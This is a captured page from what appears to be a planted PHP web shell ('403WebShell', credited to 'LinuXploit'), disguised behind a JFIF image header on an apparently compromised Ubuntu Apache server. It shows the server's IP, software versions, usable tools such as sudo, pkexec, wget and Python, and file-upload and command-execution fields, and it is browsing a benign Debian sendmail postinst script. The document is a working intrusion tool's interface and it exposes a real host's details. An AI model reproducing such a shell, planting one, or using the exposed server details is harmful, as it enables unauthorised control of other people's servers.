????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 216.73.216.221
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/lib/dpkg/info_silent/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/lib/dpkg/info_silent/sendmail-base.postinst
#!/bin/sh -e
#
# Debian post installation script
#
# Install of already installed package:
#	1) old-prerm upgrade new-version
#		*) new-prerm failed-upgrade old-version
#			*) old-postinst abort-upgrade new-version
#
# If a `conflicting' package is being removed at the same time:
#	1) forall packages depending on conflicting package and --auto-deconfigure
#		deconfigured's-prerm deconfigure \
#			in-favour package-being-installed version \
#			removing conflicting-package version
#		*) deconfigured's-postinst abort-deconfigure \
#				in-favour package-being-installed-but-failed version \
#				removing conflicting-package version
#	2) To prepare for removal of the conflicting package
#		conflictor's-prerm remove \
#			in-favour package new-version
#		*) conflictor's-postinst abort-remove \
#				in-favour package new-version
#
# Configuration of package:
# postinst configure most-recently-configured-version
#
set -e;

PACKAGE=sendmail-base;

# do we have debconf?
if [ -f /usr/share/debconf/confmodule ]; then
	DEBCONF=true;
	#. /usr/share/debconf/confmodule;
	#db_stop; # For testing
else
	DEBCONF='';
	fi;

case "$1" in
	configure)
		#-----------------------------------------------------------
		if [ "$2" = "" ]; then
			:;
			#echo " ";
			#echo "A new sendmail user, welcome!";
			fi;

		#-----------------------------------------------------------
		# Tell users about new and interesting things...
		if [ -x /usr/share/sendmail/update_notices ]; then
		    /usr/share/sendmail/update_notices $2;
		    fi;

		#-----------------------------------------------------------
		# Create group/user smmta/smmsp iff needed
		touch /etc/mail/tsmmta;
        if ! chown root:smmta /etc/mail/tsmmta 2>/dev/null; then
            addgroup --system --quiet smmta;
            fi;
        if ! chown smmta:smmta /etc/mail/tsmmta 2>/dev/null; then
            adduser --system --ingroup smmta --home "/var/lib/sendmail" \
                --disabled-password \
                --quiet --gecos 'Mail Transfer Agent' smmta;
            fi;
        rm /etc/mail/tsmmta;	
		touch /etc/mail/tsmmsp;
		if ! chown root:smmsp /etc/mail/tsmmsp 2>/dev/null; then
			addgroup --system --quiet smmsp;
			fi;
		if ! chown smmsp:smmsp /etc/mail/tsmmsp 2>/dev/null; then
			adduser --system --ingroup smmsp --home "/var/lib/sendmail" \
				--disabled-password \
				--quiet --gecos 'Mail Submission Program' smmsp;
			fi;
		rm /etc/mail/tsmmsp;

		#-----------------------------------------------------------
		# With a dynamic uid/gid, have to set appropriate ownership herein
		chown root:smmsp /etc/mail/sasl;
		chown root:smmsp /etc/mail/tls;

		#-----------------------------------------------------------
		# Save the current configuration files in safe place...
		if [ -x /etc/cron.daily/sendmail ]; then
			echo "Saving current /etc/mail/sendmail.mc,cf to /var/backups";
			/etc/cron.daily/sendmail || true;
			fi;

		#-----------------------------------------------------------
		# Make sure inetd.conf has sendmail in it (but disabled)
		if [ -x /usr/sbin/update-inetd ]; then
			update-inetd --remove "^587";
			update-inetd --group MAIL --add \
				"smtp\tstream\ttcp\tnowait\troot\t/usr/sbin/sendmail sendmail -Am -bs";
			update-inetd --group MAIL --add \
				"submission\tstream\ttcp\tnowait\troot\t/usr/sbin/sendmail sendmail -Am -bs";
			update-inetd --group MAIL --add \
				"smtps\tstream\ttcp\tnowait\troot\t/usr/sbin/sendmail sendmail -Am -bs";
			update-inetd --group MAIL --multi --disable smtp,smtps,submission;
			fi;	

		;;

	abort-upgrade|abort-remove|abort-deconfigure)
		exit 0;
		;;

	*)
		echo "$PACKAGE postinst called with unknown argument \`$1'" >&2;
		exit 1;
		;;
	esac;

# Automatically added by dh_installdeb
dpkg-maintscript-helper rm_conffile /etc/dhcp3/dhclient-exit-hooks.d/sendmail 8.14.4-2.2~ -- "$@"
# End automatically added section

exit 0;

Youez - 2016 - github.com/yon3zu
LinuXploit